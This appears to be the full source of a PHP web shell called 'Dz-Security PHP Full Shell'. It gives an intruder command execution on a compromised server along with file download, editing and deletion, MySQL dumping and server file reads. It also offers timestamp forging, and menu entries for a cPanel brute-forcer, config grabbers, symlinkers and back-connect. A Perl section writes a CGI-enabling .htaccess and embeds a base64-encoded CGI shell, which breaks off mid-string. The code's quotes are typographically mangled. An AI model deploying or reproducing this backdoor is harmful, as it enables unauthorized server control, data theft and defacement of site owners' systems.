[php]
<?php
@error_reporting(0);
@set_magic_quotes_runtime(0);
ob_start();
@mkdir(‚damane‘, 0755);
$mtime = explode(‚ ‚, microtime());
$starttime = $mtime[1] + $mtime[0];
define(‚SA_ROOT‘, str_replace(‚\\‘, ‚/‘, dirname(__FILE__)).’/‘);
//define(‚IS_WIN‘, strstr(PHP_OS, ‚WIN‘) ? 1 : 0 );
define(‚IS_WIN‘, DIRECTORY_SEPARATOR == ‚\\‘);
define(‚IS_COM‘, class_exists(‚COM‘) ? 1 : 0 );
define(‚IS_GPC‘, get_magic_quotes_gpc());
$dis_func = get_cfg_var(‚disable_functions‘);
define(‚IS_PHPINFO‘, (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
@set_time_limit(0);
foreach(array(‚_GET‘,’_POST‘) as $_request) {
foreach($$_request as $_key => $_value) {
if ($_key{0} != ‚_‘) {
if (IS_GPC) {
$_value = s_array($_value);
}
$$_key = $_value;
}
}
}
/*================= Info Login ================*/
$admin = array();
$admin[‚cookiepre‘] = “;
$admin[‚cookiedomain‘] = “;
$admin[‚cookiepath‘] = ‚/‘;
$admin[‚cookielife‘] = 86400;
/*===================== End =====================*/
if ($charset == ‚utf8‘) {
header("content-Type: text/html; charset=utf-8");
} elseif ($charset == ‚big5‘) {
header("content-Type: text/html; charset=big5");
} elseif ($charset == ‚gbk‘) {
header("content-Type: text/html; charset=gbk");
} elseif ($charset == ‚latin1‘) {
header("content-Type: text/html; charset=iso-8859-2");
}
$self = $_SERVER[‚PHP_SELF‘] ? $_SERVER[‚PHP_SELF‘] : $_SERVER[‚SCRIPT_NAME‘];
$errmsg = “;
if ($action == ‚phpinfo‘) {
if (IS_PHPINFO) {
phpinfo();
} else {
$errmsg = ‚phpinfo() function has non-permissible‘;
}
}
if ($doing == ‚downfile‘ && $thefile) {
if (!@file_exists($thefile)) {
$errmsg = ‚The file you want Downloadable was nonexistent‘;
} else {
$fileinfo = pathinfo($thefile);
header(‚Content-type: application/x-‚.$fileinfo[‚extension‘]);
header(‚Content-Disposition: attachment; filename=‘.$fileinfo[‚basename‘]);
header(‚Content-Length: ‚.filesize($thefile));
@readfile($thefile);
exit;
}
}
if ($doing == ‚backupmysql‘ && !$saveasfile) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
$table = array_flip($table);
$result = q("SHOW tables");
if (!$result) p(‚<h2>‘.mysql_error().'</h2>‘);
$filename = basename($_SERVER[‚HTTP_HOST‘].’_MySQL.sql‘);
header(‚Content-type: application/unknown‘);
header(‚Content-Disposition: attachment; filename=‘.$filename);
$mysqldata = “;
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
$mysqldata .= sqldumptable($currow[0]);
}
}
mysql_close();
exit;
}
// Mysql
if($doing==’mysqldown‘){
if (!$dbname) {
$errmsg = ‚Please input dbname‘;
} else {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
if (!file_exists($mysqldlfile)) {
$errmsg = ‚The file you want Downloadable was nonexistent‘;
} else {
$result = q("select load_file(‚$mysqldlfile‘);");
if(!$result){
q("DROP TABLE IF EXISTS tmp_angel;");
q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
//Download SQL
q("LOAD DATA LOCAL INFILE ‚".addslashes($mysqldlfile)."‘ INTO TABLE tmp_angel FIELDS TERMINATED BY ‚__angel_{$timestamp}_eof__‘ ESCAPED BY “ LINES TERMINATED BY ‚__angel_{$timestamp}_eof__‘;");
$result = q("select content from tmp_angel");
q("DROP TABLE tmp_angel");
}
$row = @mysql_fetch_array($result);
if (!$row) {
$errmsg = ‚Load file failed ‚.mysql_error();
} else {
$fileinfo = pathinfo($mysqldlfile);
header(‚Content-type: application/x-‚.$fileinfo[‚extension‘]);
header(‚Content-Disposition: attachment; filename=‘.$fileinfo[‚basename‘]);
header("Accept-Length: ".strlen($row[0]));
echo $row[0];
exit;
}
}
}
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Dz-Security PHP Full Shell</title>
<link href="http://dz48-coders.org/indexi/pic/favicon.ico" type="image/x-icon" rel="shortcut icon" />
<style type="text/css">
body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
a {color: #74A202;text-decoration:none;}
a:hover{color: #f00;text-decoration:underline;}
.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
input, textarea, button
{
font-size: 9pt;
color: #ccc;
font-family: verdana, sans-serif;
background-color: #202020;
border-left: 1px solid #74A202;
border-top: 1px solid #74A202;
border-right: 1px solid #74A202;
border-bottom: 1px solid #74A202;
}
select
{
font-size: 8pt;
font-weight: normal;
color: #ccc;
font-family: verdana, sans-serif;
background-color: #202020;
}
</style>
<script type="text/javascript">
function CheckAll(form) {
for(var i=0;i<form.elements.length;i++) {
var e = form.elements[i];
if (e.name != ‚chkall‘)
e.checked = form.chkall.checked;
}
}
function $(id) {
return document.getElementById(id);
}
function goaction(act){
$(‚goaction‘).action.value=act;
$(‚goaction‘).submit();
}
</script>
</head>
<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>
<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
<table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
<tr>
<td align="center" valign=center>
<div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
</div>
</td>
</tr>
</table>
</div>
<script>
var ld=(document.all);
var ns4=document.layers;
var ns6=document.getElementById&&!document.all;
var ie4=document.all;
if (ns4)
ld=document.loading;
else if (ns6)
ld=document.getElementById("loading").style;
else if (ie4)
ld=document.all.loading.style;
function init()
{
if(ns4){ld.visibility="hidden";}
else if (ns6||ie4) ld.display="none";
}
</script>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr class="head_small">
<td width=100%>
<table width=100%><tr class="head_small"><td width=86px><a title="VN hacker" href="<?php $self;?>"><img src=’http://www.shy22.com/upfiljpg/ewa88107.jpg‘ height=86 border=0></a></td><td>
<span style="float:left;"> <?php echo "<font color=white>Hostname: </font>".$_SERVER[‚HTTP_HOST‘]."";?> | <a href="http://www.twitter.com/DamaneDz" target="_blank"><?php echo"By DamaneDz";?> </a> | </span> <br />
<?php
function ex($cfe) {
$res = “;
if (!empty($cfe)) {
if(function_exists(‚exec‘)) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists(’shell_exec‘)) {
$res = @shell_exec($cfe);
} elseif(function_exists(’system‘)) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists(‚passthru‘)) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
} else { $res = "Ex() Disabled!"; }
}
return $res;
}
function showstat($stat) {
if ($stat=="on") { return "<font color=green><b>ON</b></font>"; }
else { return "<font color=red><b>OFF</b></font>"; }
}
function testperl() {
if (ex(‚perl -h‘)) { return showstat("on"); }
else { return showstat("off"); }
}
function testpy() {
if (ex(‚python -h‘)) { return showstat("on"); }
else { return showstat("off"); }
}
$curl_on = @function_exists(‚curl_version‘);
$mysql_on = @function_exists(‚mysql_connect‘);
$mssql_on = @function_exists(‚mssql_connect‘);
$pg_on = @function_exists(‚pg_connect‘);
$ora_on = @function_exists(‚ocilogon‘);
echo "<font color=white>UName -a</font>: ".@substr(@php_uname(),0,120)."<br>";
echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." <br> <font color=white>ID</font>: ".@getmyuid()."(".@get_current_user().") – uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
echo (($safe_mode)?("<font color=white>Safe_mod: <b></font><font color=green>ON</font></b> – "):("<font color=white>Safe_mod: <b><font color=red>OFF</font></b> – "));
echo "<font color=white>PHP version: <b></font>".@phpversion()."</b>";
echo "<br><font color=white>cURL: </font>".(($curl_on)?("<b><font color=green>ON</font></b> – "):("<b><font color=red>OFF</font></b> – "));
echo "<font color=white>MySQL: <b></font>";$mysql_on = @function_exists(‚mysql_connect‘);
if($mysql_on){
echo "<font color=green>ON</font></b> – "; } else { echo "<font color=red>OFF</font></b> – "; }
echo "<font color=white>MSSQL: <b></font>";
$mssql_on = @function_exists(‚mssql_connect‘);
if($mssql_on){echo "<font color=green>ON</font></b> – ";}else{echo "<font color=red>OFF</font></b> – ";}
echo "<font color=white>PostgreSQL: <b></font>";
$pg_on = @function_exists(‚pg_connect‘);
if($pg_on){echo "<font color=green>ON</font></b> – ";}else{echo "<font color=red>OFF</font></b> – ";}
echo "<font color=white>Oracle: <b></font>";
$ora_on = @function_exists(‚ocilogon‘);
if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b> – ";}
echo "<font color=white>Perl: <b></font>".@testperl()."</b> – ";
echo "<font color=white>Python: <b></font>".@testpy()."</b><br>";
echo "<font color=white>Disable functions : <b></font>";
if(“==($df=@ini_get(‚disable_functions‘))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
?>
</td></tr></table></td>
</tr>
<tr class="alt1">
<td width=10%><span style="float:left;">[Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER[‚SERVER_NAME‘])."</font>";?> – Your IP: <?php echo "<font color=yellow>".$_SERVER[‚REMOTE_ADDR‘]."</font>";?>] </span> <br />
——————————————————————————————————————<br />
<a href="javascript:goaction(‚file‘);">File Manager</a> |
<a href="javascript:goaction(’sqladmin‘);">MySQL Manager</a> |
<a href="javascript:goaction(’sqlfile‘);">MySQL Upload & Download</a> |
<a href="javascript:goaction(’shell‘);">Execute Command</a> |
<a href="javascript:goaction(‚phpenv‘);">PHP Variable</a> |
<a href="javascript:goaction(‚eval‘);">Eval PHP Code</a> |
<p>——————————————————-</p>
<a href="javascript:goaction(‚wpchange‘);">WordPress Info Changer</a> |
<a href="javascript:goaction(‚joochange‘);">Joomla Info Changer</a> |
<a href="javascript:goaction(‚vbchange‘);">Vbulletin Indexer</a> |
<a href="javascript:goaction(‚configler‘);">Perl Config Grabber</a> |
<a href="javascript:goaction(’s4config‘);">PHP Config Grabber</a> |
<a href="javascript:goaction(‚domain‘);">Server DomainList</a> |
<a href="javascript:goaction(‚perl‘);">Perl Shell</a> |
<p>——————————————————-</p>
<a href="javascript:goaction(‚mysql_1′);">MySQL Interface (By Mohajer22)</a> |
<a href="javascript:goaction(’sym1′);">Symlink_Sa 3.0</a> |
<a href="javascript:goaction(’sql_cmd‘);">SQL CMD 3.0</a> |
<a href="javascript:goaction(‚cpn‘);">Cpanel Bruter</a> |
<a href="javascript:goaction(’symlinker‘);">Server Symlinker</a> |
<a href="javascript:goaction(‚backconnect‘);">Back Connect</a>
</td>
</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php
formhead(array(’name’=>’goaction‘));
makehide(‚action‘);
formfoot();
$errmsg && m($errmsg);
// Dir function
!$dir && $dir = ‚.‘;
$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != ‚/‘) {
$dir = $dir.’/‘;
}
$uedir = ue($dir);
if (!$action || $action == ‚file‘) {
// Non-writeable
$dir_writeable = @is_writable($nowpath) ? ‚Writable‘ : ‚<font color=red>Non-writable</font>‘;
// Delete dir
if ($doing == ‚deldir‘ && $thefile) {
if (!file_exists($thefile)) {
m($thefile.‘ directory does not exist‘);
} else {
m(‚Directory delete ‚.(deltree($thefile) ? basename($thefile).‘ success‘ : ‚failed‘));
}
}
// Create new dir
elseif ($newdirname) {
$mkdirs = $nowpath.$newdirname;
if (file_exists($mkdirs)) {
m(‚Directory has already existed‘);
} else {
m(‚Directory created ‚.(@mkdir($mkdirs,0777) ? ’success‘ : ‚failed‘));
@chmod($mkdirs,0777);
}
}
// Upload file
elseif ($doupfile) {
m(‚File upload ‚.(@copy($_FILES[‚uploadfile‘][‚tmp_name‘],$uploaddir.’/‘.$_FILES[‚uploadfile‘][’name‘]) ? ’success‘ : ‚failed‘));
}
// Edit file
elseif ($editfilename && $filecontent) {
$fp = @fopen($editfilename,’w‘);
m(‚Save file ‚.(@fwrite($fp,$filecontent) ? ’success‘ : ‚failed‘));
@fclose($fp);
}
// Modify
elseif ($pfile && $newperm) {
if (!file_exists($pfile)) {
m(‚The original file does not exist‘);
} else {
$newperm = base_convert($newperm,8,10);
m(‚Modify file attributes ‚.(@chmod($pfile,$newperm) ? ’success‘ : ‚failed‘));
}
}
// Rename
elseif ($oldname && $newfilename) {
$nname = $nowpath.$newfilename;
if (file_exists($nname) || !file_exists($oldname)) {
m($nname.‘ has already existed or original file does not exist‘);
} else {
m(basename($oldname).‘ renamed ‚.basename($nname).(@rename($oldname,$nname) ? ‚ success‘ : ‚failed‘));
}
}
// Copu
elseif ($sname && $tofile) {
if (file_exists($tofile) || !file_exists($sname)) {
m(‚The goal file has already existed or original file does not exist‘);
} else {
m(basename($tofile).‘ copied ‚.(@copy($sname,$tofile) ? basename($tofile).‘ success‘ : ‚failed‘));
}
}
// File exit
elseif ($curfile && $tarfile) {
if (!@file_exists($curfile) || !@file_exists($tarfile)) {
m(‚The goal file has already existed or original file does not exist‘);
} else {
$time = @filemtime($tarfile);
m(‚Modify file the last modified ‚.(@touch($curfile,$time,$time) ? ’success‘ : ‚failed‘));
}
}
// Date
elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
if (!@file_exists($curfile)) {
m(basename($curfile).‘ does not exist‘);
} else {
$time = strtotime("$year-$month-$day $hour:$minute:$second");
m(‚Modify file the last modified ‚.(@touch($curfile,$time,$time) ? ’success‘ : ‚failed‘));
}
}
// Download
elseif($doing == ‚downrar‘) {
if ($dl) {
$dfiles=“;
foreach ($dl as $filepath => $value) {
$dfiles.=$filepath.‘,‘;
}
$dfiles=substr($dfiles,0,strlen($dfiles)-1);
$dl=explode(‚,‘,$dfiles);
$zip=new PHPZip($dl);
$code=$zip->out;
header(‚Content-type: application/octet-stream‘);
header(‚Accept-Ranges: bytes‘);
header(‚Accept-Length: ‚.strlen($code));
header(‚Content-Disposition: attachment;filename=‘.$_SERVER[‚HTTP_HOST‘].’_Files.tar.gz‘);
echo $code;
exit;
} else {
m(‚Please select file(s)‘);
}
}
// Delete file
elseif($doing == ‚delfiles‘) {
if ($dl) {
$dfiles=“;
$succ = $fail = 0;
foreach ($dl as $filepath => $value) {
if (@unlink($filepath)) {
$succ++;
} else {
$fail++;
}
}
m(‚Deleted file have finished??choose ‚.count($dl).‘ success ‚.$succ.‘ fail ‚.$fail);
} else {
m(‚Please select file(s)‘);
}
}
// Function Newdir
formhead(array(’name’=>’createdir‘));
makehide(’newdirname‘);
makehide(‚dir‘,$nowpath);
formfoot();
formhead(array(’name’=>’fileperm‘));
makehide(’newperm‘);
makehide(‚pfile‘);
makehide(‚dir‘,$nowpath);
formfoot();
formhead(array(’name’=>’copyfile‘));
makehide(’sname‘);
makehide(‚tofile‘);
makehide(‚dir‘,$nowpath);
formfoot();
formhead(array(’name’=>’rename‘));
makehide(‚oldname‘);
makehide(’newfilename‘);
makehide(‚dir‘,$nowpath);
formfoot();
formhead(array(’name’=>’fileopform‘));
makehide(‚action‘);
makehide(‚opfile‘);
makehide(‚dir‘);
formfoot();
$free = @disk_free_space($nowpath);
!$free && $free = 0;
$all = @disk_total_space($nowpath);
!$all && $all = 0;
$used = $all-$free;
$used_percent = @round(100/($all/$free),2);
p(‚<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>‘.sizecount($free).'</font> of <font color=red>‘.sizecount($all).'</font> (<font color=red>‘.$used_percent.'</font>%)</font>‘);
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
<form action="" method="post" id="godir" name="godir">
<tr>
<td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
<td nowrap><input class="bt" value="GO" type="submit"></td>
</tr>
</form>
</table>
<script type="text/javascript">
function createdir(){
var newdirname;
newdirname = prompt(‚Please input the directory name:‘, “);
if (!newdirname) return;
$(‚createdir‘).newdirname.value=newdirname;
$(‚createdir‘).submit();
}
function fileperm(pfile){
var newperm;
newperm = prompt(‚Current file:’+pfile+’\nPlease input new attribute:‘, “);
if (!newperm) return;
$(‚fileperm‘).newperm.value=newperm;
$(‚fileperm‘).pfile.value=pfile;
$(‚fileperm‘).submit();
}
function copyfile(sname){
var tofile;
tofile = prompt(‚Original file:’+sname+’\nPlease input object file (fullpath):‘, “);
if (!tofile) return;
$(‚copyfile‘).tofile.value=tofile;
$(‚copyfile‘).sname.value=sname;
$(‚copyfile‘).submit();
}
function rename(oldname){
var newfilename;
newfilename = prompt(‚Former file name:’+oldname+’\nPlease input new filename:‘, “);
if (!newfilename) return;
$(‚rename‘).newfilename.value=newfilename;
$(‚rename‘).oldname.value=oldname;
$(‚rename‘).submit();
}
function dofile(doing,thefile,m){
if (m && !confirm(m)) {
return;
}
$(‚filelist‘).doing.value=doing;
if (thefile){
$(‚filelist‘).thefile.value=thefile;
}
$(‚filelist‘).submit();
}
function createfile(nowpath){
var filename;
filename = prompt(‚Please input the file name:‘, “);
if (!filename) return;
opfile(‚editfile‘,nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
$(‚fileopform‘).action.value=action;
$(‚fileopform‘).opfile.value=opfile;
$(‚fileopform‘).dir.value=dir;
$(‚fileopform‘).submit();
}
function godir(dir,view_writable){
if (view_writable) {
$(‚godir‘).view_writable.value=1;
}
$(‚godir‘).dir.value=dir;
$(‚godir‘).submit();
}
</script>
<?php
tbhead();
p(‚<form action="‘.$self.’" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">‘);
p(‚<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="‘.$dir.’" type="hidden" /><input name="dir" value="‘.$dir.’" type="hidden" /></div>‘);
p(‚<a href="javascript:godir(\“.$_SERVER["DOCUMENT_ROOT"].’\‘);">WebRoot</a>‘);
if ($view_writable) {
p(‚ | <a href="javascript:godir(\“.$nowpath.’\‘);">View All</a>‘);
} else {
p(‚ | <a href="javascript:godir(\“.$nowpath.’\‘,\’1\‘);">View Writable</a>‘);
}
p(‚ | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\“.$nowpath.’\‘);">Create File</a>‘);
if (IS_WIN && IS_COM) {
$obj = new COM(’scripting.filesystemobject‘);
if ($obj && is_object($obj)) {
$DriveTypeDB = array(0 => ‚Unknow‘,1 => ‚Removable‘,2 => ‚Fixed‘,3 => ‚Network‘,4 => ‚CDRom‘,5 => ‚RAM Disk‘);
foreach($obj->Drives as $drive) {
if ($drive->DriveType == 2) {
p(‚ | <a href="javascript:godir(\“.$drive->Path.’/\‘);" title="Size:‘.sizecount($drive->TotalSize).‘
Free:‘.sizecount($drive->FreeSpace).‘
Type:‘.$DriveTypeDB[$drive->DriveType].’">‘.$DriveTypeDB[$drive->DriveType].'(‚.$drive->Path.‘)</a>‘);
} else {
p(‚ | <a href="javascript:godir(\“.$drive->Path.’/\‘);" title="Type:‘.$DriveTypeDB[$drive->DriveType].’">‘.$DriveTypeDB[$drive->DriveType].'(‚.$drive->Path.‘)</a>‘);
}
}
}
}
p(‚</td></tr></form>‘);
p(‚<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>‘);
// Get path
$dirdata=array();
$filedata=array();
if ($view_writable) {
$dirdata = GetList($nowpath);
} else {
// Open dir
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
$filepath=$nowpath.$file;
if(@is_dir($filepath)){
$dirdb[‚filename‘]=$file;
$dirdb[‚mtime‘]=@date(‚Y-m-d H:i:s‘,filemtime($filepath));
$dirdb[‚dirchmod‘]=getChmod($filepath);
$dirdb[‚dirperm‘]=getPerms($filepath);
$dirdb[‚fileowner‘]=getUser($filepath);
$dirdb[‚dirlink‘]=$nowpath;
$dirdb[’server_link‘]=$filepath;
$dirdb[‚client_link‘]=ue($filepath);
$dirdata[]=$dirdb;
} else {
$filedb[‚filename‘]=$file;
$filedb[’size‘]=sizecount(@filesize($filepath));
$filedb[‚mtime‘]=@date(‚Y-m-d H:i:s‘,filemtime($filepath));
$filedb[‚filechmod‘]=getChmod($filepath);
$filedb[‚fileperm‘]=getPerms($filepath);
$filedb[‚fileowner‘]=getUser($filepath);
$filedb[‚dirlink‘]=$nowpath;
$filedb[’server_link‘]=$filepath;
$filedb[‚client_link‘]=ue($filepath);
$filedata[]=$filedb;
}
}// while
unset($dirdb);
unset($filedb);
@closedir($dirs);
}
@sort($dirdata);
@sort($filedata);
$dir_i = ‚0‘;
foreach($dirdata as $key => $dirdb){
if($dirdb[‚filename‘]!=‘..‘ && $dirdb[‚filename‘]!=‘.‘) {
$thisbg = bg();
p(‚<tr class="fout" onmouseover="this.className=\’focus\‘;" onmouseout="this.className=\’fout\‘;">‘);
p(‚<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>‘);
p(‚<td><a href="javascript:godir(\“.$dirdb[’server_link‘].’\‘);">‘.$dirdb[‚filename‘].'</a></td>‘);
p(‚<td nowrap>‘.$dirdb[‚mtime‘].'</td>‘);
p(‚<td nowrap>–</td>‘);
p(‚<td nowrap>‘);
p(‚<a href="javascript:fileperm(\“.$dirdb[’server_link‘].’\‘);">‘.$dirdb[‚dirchmod‘].'</a> / ‚);
p(‚<a href="javascript:fileperm(\“.$dirdb[’server_link‘].’\‘);">‘.$dirdb[‚dirperm‘].'</a>‘.$dirdb[‚fileowner‘].'</td>‘);
p(‚<td nowrap><a href="javascript:dofile(\’deldir\‘,\“.$dirdb[’server_link‘].’\‘,\’Are you sure will delete ‚.$dirdb[‚filename‘].‘? \\n\\nIf non-empty directory, will be delete all the files.\‘)">Del</a> | <a href="javascript:rename(\“.$dirdb[’server_link‘].’\‘);">Rename</a></td>‘);
p(‚</tr>‘);
$dir_i++;
} else {
if($dirdb[‚filename‘]==‘..‘) {
p(‚<tr class=fout>‘);
p(‚<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\“.getUpPath($nowpath).’\‘);">Parent Directory</a></td>‘);
p(‚</tr>‘);
}
}
}
p(‚<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>‘);
p(‚<form id="filelist" name="filelist" action="‘.$self.’" method="post">‘);
makehide(‚action‘,’file‘);
makehide(‚thefile‘);
makehide(‚doing‘);
makehide(‚dir‘,$nowpath);
$file_i = ‚0‘;
foreach($filedata as $key => $filedb){
if($filedb[‚filename‘]!=‘..‘ && $filedb[‚filename‘]!=‘.‘) {
$fileurl = str_replace(SA_ROOT,“,$filedb[’server_link‘]);
$thisbg = bg();
p(‚<tr class="fout" onmouseover="this.className=\’focus\‘;" onmouseout="this.className=\’fout\‘;">‘);
p(‚<td width="2%" nowrap><input type="checkbox" value="1" name="dl[‚.$filedb[’server_link‘].‘]"></td>‘);
p(‚<td><a href="‘.$fileurl.’" target="_blank">‘.$filedb[‚filename‘].'</a></td>‘);
p(‚<td nowrap>‘.$filedb[‚mtime‘].'</td>‘);
p(‚<td nowrap>‘.$filedb[’size‘].'</td>‘);
p(‚<td nowrap>‘);
p(‚<a href="javascript:fileperm(\“.$filedb[’server_link‘].’\‘);">‘.$filedb[‚filechmod‘].'</a> / ‚);
p(‚<a href="javascript:fileperm(\“.$filedb[’server_link‘].’\‘);">‘.$filedb[‚fileperm‘].'</a>‘.$filedb[‚fileowner‘].'</td>‘);
p(‚<td nowrap>‘);
p(‚<a href="javascript:dofile(\’downfile\‘,\“.$filedb[’server_link‘].’\‘);">Down</a> | ‚);
p(‚<a href="javascript:copyfile(\“.$filedb[’server_link‘].’\‘);">Copy</a> | ‚);
p(‚<a href="javascript:opfile(\’editfile\‘,\“.$filedb[’server_link‘].’\‘,\“.$filedb[‚dirlink‘].’\‘);">Edit</a> | ‚);
p(‚<a href="javascript:rename(\“.$filedb[’server_link‘].’\‘);">Rename</a> | ‚);
p(‚<a href="javascript:opfile(\’newtime\‘,\“.$filedb[’server_link‘].’\‘,\“.$filedb[‚dirlink‘].’\‘);">Time</a>‘);
p(‚</td></tr>‘);
$file_i++;
}
}
p(‚<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\’downrar\‘);">Packing download selected</a> – <a href="javascript:dofile(\’delfiles\‘);">Delete selected</a></td><td colspan="4" align="right">‘.$dir_i.‘ directories / ‚.$file_i.‘ files</td></tr>‘);
p(‚</form></table>‘);
}// end dir
elseif($action == ‚perl‘){
@mkdir(‚perl‘, 0755);
@chdir(‚perl‘);
$hta = ".htaccess";
$open_file = "$hta";
$file = fopen ($open_file , ‚w‘) or die ("Can’t Open File !!");
$text = "";
$text = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .dam
AddHandler cgi-script .dam
AddHandler cgi-script .dam
";
fwrite ( $file , $text);
fclose ($file);
$perlshell = ‚IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMCBmb3IgTlQgYW5kIFVuaXggOiBSdW4gQ29tbWFuZHMgb24geW91ciBXZWIgU2VydmVyDQojDQojIENvcHlyaWdodCAoQykgMjAwMSBSb2hpdGFiIEJhdHJhDQojIFBlcm1pc3Npb24gaXMgZ3JhbnRlZCB0byB1c2UsIGRpc3RyaWJ1dGUgYW5kIG1vZGlmeSB0aGlzIHNjcmlwdCBzbyBsb25nDQojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0DQojIHBsZWFzZSBkb2N1bWVudCB0aGVtIGFuZCBpbmZvcm0gbWUuIElmIHlvdSB3b3VsZCBsaWtlIGFueSBjaGFuZ2VzIHRvIGJlIG1hZGUNCiMgaW4gdGhpcyBzY3JpcHQsIHlvdSBjYW4gZS1tYWlsIG1lLg0KIw0KIyBBdXRob3I6IFJvaGl0YWIgQmF0cmENCiMgQXV0aG9yIGUtbWFpbDogcm9oaXRhYkByb2hpdGFiLmNvbQ0KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vDQojIFNjcmlwdCBIb21lcGFnZTogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS9jZ2lzY3JpcHRzL2NnaXRlbG5ldC5odG1sDQojIFByb2R1Y3QgU3VwcG9ydDogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS9zdXBwb3J0Lw0KIyBEaXNjdXNzaW9uIEZvcnVtOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2Rpc2N1c3MvDQojIE1haWxpbmcgTGlzdDogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS9tbGlzdC8NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBJbnN0YWxsYXRpb24NCiMtLS0tLS0tLS0tLS0